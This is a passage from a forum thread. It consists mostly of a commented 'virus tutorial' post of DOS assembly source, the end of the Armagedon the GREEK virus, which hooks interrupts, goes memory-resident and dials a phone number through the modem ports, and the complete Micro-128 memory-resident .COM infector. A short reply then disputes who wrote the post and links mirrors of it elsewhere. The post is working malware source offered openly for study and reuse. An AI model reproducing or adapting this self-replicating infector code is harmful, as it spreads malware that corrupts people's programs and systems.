    inc byte ptr [save_time_b]

    jmp short Store_Save_Date

    Inc_S_T_A:

    inc byte ptr [save_time_a]

    jmp short Save_T_B



    dial_string db '+++aTh0m0s7=35dp081,,,,141' ;Dial string To call

    ;Speaking Clock

    ;in Greece (Crete)



    ;****************************************************************************

    ;* Write Data to Com Ports *

    ;****************************************************************************



    Write_Ports:

    mov al,byte ptr [Data_Ready]

    cmp al,1

    je Ret_Write_Ports ; Jump if equal



    mov al,byte ptr [Ports_Initialized] ;Have Ports been

    cmp al,1 ;Initialized yet?

    je Already_Initialized



    mov cx,3

    Init_Ports:

    mov dx,cx

    xor ah,ah

    mov al,83 ;Init Comport

    int 14 ;1200 Baud, No Parity,

    ;1 Stop Bit, 8 bit Word Len.

    loop Init_Ports ;Initalize all Ports 1-4





    mov al,1

    mov byte ptr [Ports_Initialized],al



    jmp short Ret_Write_Ports

    nop



    Already_Initialized:

    push cs

    pop ds

    mov si,offset dial_string

    mov al,byte ptr [Character_Count]

    cmp al,1A

    jne Write_From_SI_To_Ports

    jmp short Setup_write

    nop



    Write_From_SI_To_Ports:

    xor ah,ah

    add si,ax

    mov al,[si]

    mov dx,3F8 ;Outport from SI to standard

    out dx,al ;addresses of ports 1-4

    mov dx,2F8 ;and increment character count

    out dx,al

    mov dx,2E8

    out dx,al

    mov dx,3E8

    out dx,al

    inc byte ptr [Character_Count]

    jmp short Ret_Write_Ports

    nop



    Setup_write:

    mov cx,3

    Write_To_All_Ports:

    mov dx,cx

    mov al,0dh

    mov ah,1

    int 14 ;Write a 1 to all ports

    loop Write_To_All_Ports



    mov ax,1

    mov byte ptr [Data_Ready],al

    mov byte ptr [Character_Count],ah

    mov byte ptr [Ports_Initialized],ah



    Ret_Write_Ports:

    ret



    ;****************************************************************************

    ; Virus Entry Point

    ;****************************************************************************



    Virus_Entry:

    mov ah,0e0

    int 21 ;Check for Installation

    cmp ax,0dada ;Was it installed?

    jne Install_Virus ;No? Then install it.

    jmp Already_Installed ;Yes? Go to Already_Installed

    Install_Virus:

    push cs

    pop ds

    mov ax,3521 ;Get Int 21 Address

    int 21



    mov word ptr [Int_21_Off],bx ;Save old Int 21

    mov word ptr [Int_21_Seg],es ;Vector

    mov dx,offset Int_21

    mov ax,2521

    int 21 ;Set Int 21



    mov ax,3508

    int 21 ;Get Int 8 Address



    mov word ptr [Int_08_Off],bx

    mov word ptr [Int_08_Seg],es ;Save old Vectors

    mov dx,offset Int_08

    mov ax,2508

    int 21 ;Set Int 08



    mov ah,2C

    int 21 ;Get Time



    mov byte ptr [save_time_a],ch

    mov byte ptr [save_time_b],cl ;Save Time and Date

    mov byte ptr [save_date],dh



    mov ax,cs:[2c] ;Get environment block

    mov ds,ax ;address and put it in DS

    xor si,si ;DS:SI=beginning of Env. B.

    Find_The_Filename:

    mov al,[si] ;Search through environment

    cmp al,1 ;block for program executed.

    je Found_Filename

    inc si

    jmp short Find_The_Filename



    Found_Filename:

    inc si

    inc si

    mov dx,si ;DSX = Filename

    mov ax,cs

    mov es,ax ;Set segment (ES) = CS

    mov bx,5a ;Request 5a0h (1440 dec) bytes

    mov ah,4a

    int 21 ;Change Allocated Memory



    mov bx,word ptr cs:[81] ;Beginning of Command Line

    mov ax,cs

    mov es,ax ;set ES=CS again.

    mov word ptr cs:[cs_save_1],ax

    mov word ptr cs:[cs_save_2],ax ;Re-Execute program

    mov word ptr cs:[cs_save_3],ax ;To make Int 27 cause

    mov ax,4B00 ;program to go mem-res

    mov word ptr cs:[save_ss],ss ;without terminating

    mov word ptr cs:[save_sp],sp ;regular program.

    pushf

    ;call far cs:[Int_21_Off] ;Call Load and Execute

    db 2e,0ff,1e,22,01



    mov ax,word ptr cs:[save_ss]

    mov ss,ax

    mov ax,word ptr cs:[save_sp] ;Restore Stack

    mov sp,ax

    mov ax,cs

    mov ds,ax

    mov dx,537 ;DX=End of virus

    int 27 ;Terminate & stay resident

    Already_Installed:

    mov ah,0E1 ;Get CS of virus in memory

    int 21

    mov si,offset Install_Jump

    mov cs:[si+3],ax ;Setup Jump

    mov ax,offset After_Jump

    mov cs:[si+1],ax

    mov ax,word ptr cs:[file_size]

    mov bx,cs



    Install_Jump:

    db 0ea

    IP_For_Jump db 0,0

    CS_For_Jump db 0,0



    After_Jump:

    mov cx,ax

    mov ds,bx

    mov si,100

    mov di,offset storage_bytes



    Restore_File: ;Restore File in memory

    mov al,[di]

    mov [si],al

    inc si

    inc di

    loop Restore_File



    mov si,offset return_jump

    mov cs:[si+3],ds ;set host segment

    mov al,byte ptr ds:[100] ;Get first byte of host,

    sub al,0bh ;then unencrypt first byte

    mov byte ptr ds:[100],al ;of Storage_Bytes

    mov ax,ds ;and restore it

    mov es,ax ;restore ES and SS to point

    mov ss,ax ;to DS/CS



    ;* jmp far ptr start ;Return control to COM file

    return_jump:

    db 0ea

    host_offset db 00,01

    host_segment db 07,13



    Text_Message db 'Armagedon the GREEK'



    end_main_virus:

    Storage_Bytes db 0D8,20 ;First Byte Encrypted



    end_of_vir:

    word_space db 8 dup (?)



    new_DTA :

    end start

    ;**************************************************************************









    ;***************************************************************************

    ;* Micro-128 *

    ;***************************************************************************

    ;* The Micro-128 virus was, for a while, the smallest known memory *

    ;*resident non-overwriting .COM infector. It copies itself onto the *

    ;*interrupt table and hooks Int 21h so that, while in memory, it stores *

    ;*Int 21's address in the Int E0 field. This allows it to simple call *

    ;*Int E0 when it wants an Int 21h. While it does have a few nice tricks *

    ;*in it to make it compact, it is a fairly simple virus and is easy to *

    ;*understand. *

    ;* *

    ;*Note: Micro-128 was originally assembled with an assembler other than *

    ;* my version of TASM, so to keep the bytes for XOR exactly the same *

    ;* all XOR's are entered directly, with their assembler commands *

    ;* commented out. *

    ;***************************************************************************

    .model tiny

    .code

    org 100h



    start:

    db 0e9h,03h,0 ;Jmp Virus_Entry

    nop

    int 20h

    Virus_Entry:

    mov di,100h

    push di

    mov si,di

    add si,[di+1] ;Get offset

    movsw ;Restore Storage Bytes

    movsb



    Copy_Virus:



    ;xor ax,ax ;Set ES = 0 (Interrupt Table)

    db 31h, 0c0h



    mov es,ax

    mov di,303h ;Space in Int Table

    mov cl,7Dh ;Virus Size

    rep movsb ;Copy Virus.

    scasw ;ESI = 0?

    jnz Done_Install ;No, Already Installed.

    std ;Set direction flag so that

    ;stosw stores, then decrements

    ;SI and DI.



    Hook_Int_21:

    xchg ax,es:[di+0FD04h] ;DI+FD04h = 86h the first time,

    ;and 84h the second. These are

    ;Int 21h's Segment and Offset

    ;respectively.



    stosw ;Stores old handler to

    ;CS_21 and IP_21.



    mov ax,33Fh ;New offset of Int 21 Handler.

    cmc ;Complement carry

    jc Hook_Int_21 ;jump Hook_Int_21



    cld ;Clear direction flag.



    Done_Install:

    push cs ;Return to Host.

    pop es

    ret



    Go_Beginning:

    mov al,0 ;Setup to go from beginning of

    ;file

    Move_FP:

    mov ah,42h ;Move File pointer

    ;xor cx,cx ;Zero Segment and Offset,

    db 31h,0c9h



    ;xor dx,dx ;Go to either beginning or end.

    db 31h,0d2h



    int 0E0h

    mov cl,3 ;Used to make code tighter.

    mov dh,3

    retn



    db 0e9h,03h,0 ;Jump Inside_21



    Int_21_Handler:

    cmp ah,4bh

    Inside_21:

    jnz Go_Int_21 ;Jump if not execute.



    push ax bx dx ds ;Save registers



    mov ax,3D02h ;Open File Read/Write

    int 0E0h

    jc Close_File

    mov bx,ax ;Move file handle to BX



    push cs

    pop ds



    call Go_Beginning ;Go to start of file



    mov ah,3Fh ;DX=300 CX=3

    int 0E0h ;Read 3 bytes from file



    cmp byte ptr ds:[300h],'M' ;Is it an .EXE?

    je Close_File ;If so, close.



    dec ax ;AX = 2 (AX = 3 from read)

    call Move_FP ;Go to end of file.

    mov ds:[33dh],ax ;Save file length



    mov ah,40h ;Write virus to file

    mov cl,80h ;128 bytes.

    int 0E0h



    call Go_Beginning ;Go back to the beginning

    mov dl,3Ch ;and write in jump.

    mov ah,40h

    int 0E0h

    Close_File:

    mov ah,3Eh ;Close file

    int 0E0h

    pop ds dx bx ax



    Go_Int_21:

    db 0EAh

    IP_21 dw ? ;When in memory, these are

    CS_21 dw ? ;Located at the entry for

    ;Int E0h, making any call to

    ;that interrupt go to INT 21h.

    end start

    ;**************************************************************************

    written and compiled by a.k.a. virus

  2. #2
    Old-Fogey:Addicts founder Terr's Avatar
    Join Date
    Aug 2001
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    Seattle, WA
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    So your name is "AKA Virus"? a.k.a stands for Also-Known-As, and the phrase: "Written by also known as Virus" doesn't make much sense. So are you saying you, the poster, is the author of this tutorial? It exists in several other places.

    http://www.apocalypseonline.com/secu...oryviruses.asp

    http://vx.netlux.org/lib/vbw05.html

    http://www.hackpalace.com/virii/gene...20resident.txt

    Given all these locations, it seems unlikely that you made this, although I could be wrong. So who really wrote it? The bottom
    written and compiled by a.k.a. virus
    suggests that you, the poster (Virus on IRC?) wrote it, but at the very top, it says otherwise....

    Could you enlighten me here?
    [HvC]Terr: L33T Technical Proficiency

  3. #3

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